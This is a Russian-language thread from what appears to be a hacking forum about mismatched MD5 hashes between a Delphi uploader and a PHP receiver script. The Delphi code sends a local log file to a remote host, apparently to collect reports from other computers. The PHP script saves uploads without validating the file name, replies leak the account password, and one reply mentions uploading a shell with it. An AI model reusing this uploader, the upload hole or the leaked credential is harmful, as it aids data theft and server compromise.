Проблема с Delphi и php(разные md5)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by argon_99, 2 Jan 2014.

  1. argon_99

    argon_99 New Member

    Joined:
    29 Dec 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Всем привет!
    У меня такая проблема:
    Пишу программу на Delphi 7 , которая будет отправлять файл php скрипту на сайте. Для того чтобы файл сохранился на сайте надо передать скрипту правильный пароль. Т.е. прога на Delphi передает php скрипту пароль и файл post запросом. Скрипт сверяет md5-хэш полученного пароля с хэшем правильного пароля. Но возникла Проблема: md5 полученного пароля и правильного пароля не сходятся, хотя я отправляю правильный пароль :confused: .Скажите пожалуйста , в чем проблема? Я 3 дня пытаюсь: все равно md5 разные((. Заранее спасибо)
    Вот кусок кода программы на Delphi:
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    var
     FileName: string;
     response: string;
     formData: TIdMultipartFormDataStream;
     IdHTTP1:TIdHTTP;
    begin
     idhttp1 := TIdHTTP.Create(nil);
     FileName := 'C:\log.txt';
     formData := TIdMultipartFormDataStream.Create;
     formData.AddFile('file', fileName, 'application/octet-stream');
     formData.AddFormField('from', 'bitman');
     formData.AddFormField('pass', WideString('[B][COLOR=Red]ЗДЕСЬ БЫЛ ПАРОЛЬ ОТ АЧАТА, МЫЛА, КОШЕЛЬКОВ И Т.Д.'[/COLOR][/B]));
     IdHTTP1.Request.ContentEncoding:='Default';
     IdHTTP1.Request.ContentType := 'multipart/form-data';
     try
       response := IdHTTP1.Post('http://bcd-server1.bl.ee/reports.php', formData);
       form1.Memo1.Lines.Text := response;
     finally
     end;
    end;
    Вот код php скрипта:
    Code:
    <?php
    include("get_pass.php");
    //script for getting reports and files from computers
    $from=$_POST["from"];
    $pass=$_POST["pass"];
    if (isset( $_FILES["file"])) {
    if(md5($pass)==getLP("pass")) {
    copy($_FILES["file"]["tmp_name"],"reports/".$_FILES["file"]["name"]);
    echo "5";
    }
    }
    echo md5($pass);
    echo $from;
    echo getLP("pass");
    ?>
     
    #1 argon_99, 2 Jan 2014
    Last edited: 3 Jan 2014
  2. Timon132009

    Timon132009 Member

    Joined:
    7 Jun 2009
    Messages:
    137
    Likes Received:
    19
    Reputations:
    0
    Мб вместо "pass" надо вставить Gfhjkm604?

    И да, никогда не используй одинаковые пароли на разных сервисах! ;)
     
    #2 Timon132009, 2 Jan 2014
    Last edited: 2 Jan 2014
  3. argon_99

    argon_99 New Member

    Joined:
    29 Dec 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Timon132009, нет "pass" это имя переменной .
     
  4. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    А скажите, так должно быть?
    Это такой современный свежий взгляд на веб с некоторыми ностальгическими нотками веб1.0? Может быть, вызов обществу с отсылками к Оруэллу?

    http://bcd-server1.bl.ee
     
  5. Timon132009

    Timon132009 Member

    Joined:
    7 Jun 2009
    Messages:
    137
    Likes Received:
    19
    Reputations:
    0
    В первом случае да, а во втором?
     
  6. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    А во втором случае ты должен с помощью телепатии узнать, что делает функция getLP().
     
    1 person likes this.
  7. argon_99

    argon_99 New Member

    Joined:
    29 Dec 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Timon132009, Функция getLP() возвращает правильный логин или md5 хэш правильного пароля. Параметр pass значит, что надо возвратить хэш правильного пароля.
     
  8. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    argon_99, напиши код getLP(), ошибка должна быть в нем.
     
  9. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    Я один это вижу, или где?
    Или все just as planned?
    http://bcd-server1.bl.ee/
     
  10. argon_99

    argon_99 New Member

    Joined:
    29 Dec 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    M_script, вот код getLP:
    Code:
    function getLP($type) {
    $file = file('pass.php');
    if($type=="login") {
    return substr($file[1],0,-1);
    } else {
    return substr($file[2],0,-1);
    }
    }
     
  11. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Добавил новогоднее поздравление.

    p.s.: личные данные выложил кто-то другой.
     
  12. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    Есть мнение, что данный прецедент следует заскринить и опубликовать в палат сферических мер и весов в вакууме :)
     
  13. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Спасибо, уже сам прочитал. Ошибка в программе, а не в скрипте. Пароль подходит, шелл заливается.
     
  14. argon_99

    argon_99 New Member

    Joined:
    29 Dec 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    M_script, я думаю, что здесь дело в кодировке пароля, только не знаю какую поставить и как это делается? Подскажите пожалуйста
     
  15. contacts.to

    contacts.to New Member

    Joined:
    29 Jan 2014
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Была у меня аналогичная проблемка - со стороны сервера иногда получал мол неверный md5. Вроде как проблема была когда в пароле использовалась кириллица.
    Фишка оказалась в том, что на стороне сервака юзались пхп-шные функции base64_encode, base64_decode, а многие дельфёвские реализации этих функций выдавали совершенно другой результат. Подобрал тогда нужные функции и всё заработало.
    Вдруг ещё не решил проблему - напомни, завтра на работе скинул бы код.